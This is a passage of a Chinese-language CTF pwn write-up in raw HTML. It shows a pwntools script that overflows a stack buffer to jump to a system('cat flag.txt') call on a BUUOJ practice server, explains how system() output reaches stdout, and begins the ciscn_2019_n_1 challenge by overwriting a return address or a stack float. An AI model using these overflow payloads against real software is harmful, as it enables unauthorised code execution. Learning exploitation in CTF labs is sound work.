</span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(249, 38, 114);"><span leaf="">import</span></span><span leaf=""> *</span><span leaf="">system_cat_flag_addr = </span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(174, 129, 255);"><span leaf="">0x40060e</span></span><span leaf="">offset = </span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(174, 129, 255);"><span leaf="">0x40</span></span><span leaf=""> + </span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(174, 129, 255);"><span leaf="">8</span></span><span leaf="">payload = offset * </span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(230, 219, 116);"><span leaf="">b&#39;A&#39;</span></span><span leaf=""> + p64(system_cat_flag_addr)</span><span leaf="">p = remote(</span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(230, 219, 116);"><span leaf="">&#39;node5.buuoj.cn&#39;</span></span><span leaf="">,</span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(174, 129, 255);"><span leaf="">27841</span></span><span leaf="">)</span><span leaf="">p.sendline(payload)</span><span leaf="">p.interactive()</span></p></pre><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf=""><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.26345291479820626" data-s="300,640" data-type="png" data-w="892" style="height: auto !important;" type="block" data-imgfileid="100000698" src="https://wechat2rss.xlab.app/img-proxy/?k=ded3f1db&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F075AT6bRmPcpXxGtJ5KE20dvYicEntibC7U4sib5dIcVkXrsHjuFTwq06BdyZibTdPeoslOwMNknulxepdUa9Ll1kw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></p><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 0px;color: rgb(10, 10, 10);font-family: ui-sans-serif, system-ui, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;font-size: 0px;line-height: 0;" data-pm-slice="0 0 []"><span leaf=""> </span></p><div style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(10, 10, 10);font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><div style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 0px 8px 1.5em;text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">起初我想复杂了，知道溢出后能执行</span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 12.6px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">system(&#34;cat flag.txt&#34;)</span></p><span leaf="">，</span><strong style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-weight: bold;text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: inherit;color: rgb(159, 38, 56);"><span leaf="">但卡在“结果怎么回显”这个问题上。</span></strong></div><div style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">那不得</span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 12.6px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">ROP</span></p><span leaf="">，先执行到</span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 12.6px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">system</span></p><span leaf="">然后</span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 12.6px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">printf</span></p><span leaf="">？ </span></div></div><div><span leaf="">事后看来受Java编程思维惯性影响，以为必须通过显示的</span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 12.6px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">System.out.print</span></p><span leaf="">才能输出</span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 12.6px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">Runtime.getRuntime().exec</span></p><span leaf="">执行命令结果。</span></div><div style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">但是C语言中的</span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 12.6px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">system</span></p><span leaf="">函数在执行完命令后，命令进程会继承父进程的标准输出，同时会自动把执行结果往</span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 12.6px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">fd 1</span></p><span leaf="">（标准输出）当中</span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 12.6px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">write</span></p><span leaf="">。所以不需要显式调用</span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 12.6px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">printf</span></p><span leaf="">。</span></div><div style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">为验证上述结论，我编写了一个简单的 demo，并使用 </span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 12.6px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">strace</span></p><span leaf=""> 观察其系统调用</span></div><pre style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 12.6px;margin: 10px 8px;background: rgb(35, 36, 31);color: rgb(248, 248, 242);text-align: left;line-height: 1.5;overflow-x: auto;border-radius: 8px;padding: 0px !important;"><span hidden="" style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);display: flex;padding: 10px 14px 0px;"><svg viewBox="0 0 450 130" height="13px" width="45px" y="0px" x="0px" version="1.1" xmlns="http://www.w3.org/2000/svg"><ellipse fill="rgb(237,108,96)" stroke-width="2" stroke="rgb(220,60,54)" ry="52" rx="50" cy="65" cx="50"></ellipse><ellipse fill="rgb(247,193,81)" stroke-width="2" stroke="rgb(218,151,33)" ry="52" rx="50" cy="65" cx="225"></ellipse><ellipse fill="rgb(100,200,86)" stroke-width="2" stroke="rgb(27,161,37)" ry="52" rx="50" cy="65" cx="400"></ellipse></svg></span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 11.34px;display: -webkit-box;padding: 0.5em 1em 1em;overflow-x: auto;text-indent: 0px;text-align: left;line-height: 1.75;margin: 0px;white-space: nowrap;"><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(117, 113, 94);"><span leaf="">#</span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(249, 38, 114);"><span leaf="">include</span></span><span leaf=""> </span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(230, 219, 116);"><span leaf="">&lt;stdlib.h&gt;</span></span></span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(230, 219, 116);"><span leaf="">int</span></span><span leaf=""> </span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(166, 226, 46);"><span leaf="">main</span></span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(248, 248, 242);"><span leaf="">()</span></span><span leaf=""> {</span><span leaf="">    system(</span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(230, 219, 116);"><span leaf="">&#34;cat /flag&#34;</span></span><span leaf="">);</span><span leaf="">    </span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(249, 38, 114);"><span leaf="">return</span></span><span leaf=""> </span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(174, 129, 255);"><span leaf="">0</span></span><span leaf="">;</span><span leaf="">}</span></p></pre><div style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">日志确实印证了 </span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 12.6px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">system</span></p><span leaf=""> 函数会自动将命令输出写入标准输出。</span></div><p style="text-align: center;" nodeleaf=""><img class="rich_pages wxw-img js_insertlocalimg" data-imgfileid="100000700" data-ratio="0.2324074074074074" data-s="300,640" data-type="png" data-w="1080" style="height: auto !important;" type="block" src="https://wechat2rss.xlab.app/img-proxy/?k=67ea719c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F075AT6bRmPcpXxGtJ5KE20dvYicEntibC7ib97RzohTibhCwGNL72V9yXunIibBLySib9bleicQKv8CDUcGlVdJAbCgqg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">后面复盘了下，为何java没有执行命令后就直接回显结果？</span></p><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">实际上是因为 Java 默认不会让子进程继承父进程的标准输出。若希望像 C 程序那样执行命令后直接将结果输出到终端，需要显式设置子进程继承标准输出。</span></p><pre style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 12.6px;margin: 10px 8px;background: rgb(35, 36, 31);color: rgb(248, 248, 242);text-align: left;line-height: 1.5;overflow-x: auto;border-radius: 8px;padding: 0px !important;"><span hidden="" style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);display: flex;padding: 10px 14px 0px;"><svg viewBox="0 0 450 130" height="13px" width="45px" y="0px" x="0px" version="1.1" xmlns="http://www.w3.org/2000/svg"><ellipse fill="rgb(237,108,96)" stroke-width="2" stroke="rgb(220,60,54)" ry="52" rx="50" cy="65" cx="50"></ellipse><ellipse fill="rgb(247,193,81)" stroke-width="2" stroke="rgb(218,151,33)" ry="52" rx="50" cy="65" cx="225"></ellipse><ellipse fill="rgb(100,200,86)" stroke-width="2" stroke="rgb(27,161,37)" ry="52" rx="50" cy="65" cx="400"></ellipse></svg></span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 11.34px;display: -webkit-box;padding: 0.5em 1em 1em;overflow-x: auto;text-indent: 0px;text-align: left;line-height: 1.75;margin: 0px;white-space: nowrap;"><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(230, 219, 116);"><span leaf="">ProcessBuilder</span></span><span leaf=""> </span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(230, 219, 116);"><span leaf="">pb</span></span><span leaf=""> </span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);"><span leaf="">=</span></span><span leaf=""> </span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(249, 38, 114);"><span leaf="">new</span></span><span leaf=""> </span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(248, 248, 242);"><span leaf="">ProcessBuilder</span></span><span leaf="">(</span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(230, 219, 116);"><span leaf="">&#34;cat&#34;</span></span><span leaf="">, </span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(230, 219, 116);"><span leaf="">&#34;/tmp/flag.txt&#34;</span></span><span leaf="">);  </span><span leaf="">pb.redirectOutput(ProcessBuilder.Redirect.INHERIT); </span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(117, 113, 94);"><span leaf="">// 允许继承父进程标准输出  </span></span><span leaf="">pb.start();</span></p></pre><p style="text-align: center;" nodeleaf=""><img class="rich_pages wxw-img js_insertlocalimg" data-imgfileid="100000701" data-ratio="0.4361111111111111" data-s="300,640" data-type="png" data-w="1080" style="height: auto !important;" type="block" src="https://wechat2rss.xlab.app/img-proxy/?k=54ac5c0b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F075AT6bRmPcpXxGtJ5KE20dvYicEntibC7iaiaqUoMRmKskrkAF6zV6zqp07j8V10zf9PGMnPzHzkwdlFSxFq4REuQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><h2 data-heading="true" style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-size: 16.8px;font-weight: bold;margin: 4em auto 2em;text-align: center;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;display: table;padding: 0px 0.2em;color: rgb(255, 255, 255);background: rgb(159, 38, 56);"><span leaf="">0x02 ciscn_2019_n_11</span></h2><div style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">在程序的正常逻辑下，无论输入什么，变量 </span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 12.6px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">v2</span></p><span leaf=""> 的值始终为 </span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 12.6px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">0.0</span></p><span leaf="">，因此无法达到我们希望触发的 </span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 12.6px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">system(&#34;cat /flag&#34;)</span></p><span leaf=""> 分支。</span></div><p style="text-align: center;" nodeleaf=""><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.5361111111111111" data-s="300,640" data-type="png" data-w="1080" style="height: auto !important;" type="block" data-imgfileid="100000705" src="https://wechat2rss.xlab.app/img-proxy/?k=dbb7030b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F075AT6bRmPcpXxGtJ5KE20dvYicEntibC7OUEJ2JYx3S4jZxcRLyGnXXCuKFicxH3R2oiaU4ABbydMMSG1Gfn4CmoQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><div style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">常规思路是我们通过</span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 12.6px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">gets</span></p><span leaf="">溢出</span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 12.6px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">0x30+8</span></p><span leaf="">个垃圾字符覆盖掉</span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 12.6px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">func</span></p><span leaf="">的</span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 12.6px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">ret</span></p><span leaf="">地址，并跳到</span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 12.6px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">0x4006BE</span></p><span leaf="">就可以了。不过这个没有啥意思，都是之前的套路。</span></div><p style="text-align: center;" nodeleaf=""><img class="rich_pages wxw-img js_insertlocalimg" data-imgfileid="100000706" data-ratio="0.5092592592592593" data-s="300,640" data-type="png" data-w="1080" style="height: auto !important;" type="block" src="https://wechat2rss.xlab.app/img-proxy/?k=094dc260&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F075AT6bRmPcpXxGtJ5KE20dvYicEntibC7f4S53mWMYXL3kHz5YMcpUdMnWYauRX2xoq6vNPQ0r8P1ZLQ54KxlkA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><div style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">还有一个思路就是</span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 12.6px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">v2</span></p><span leaf="">也在栈上，我们可以覆盖它的值为</span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 12.6px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">11.28125</span></p><span leaf="">就行了。</span></div><div style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">先在gdb验证下，把</span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, 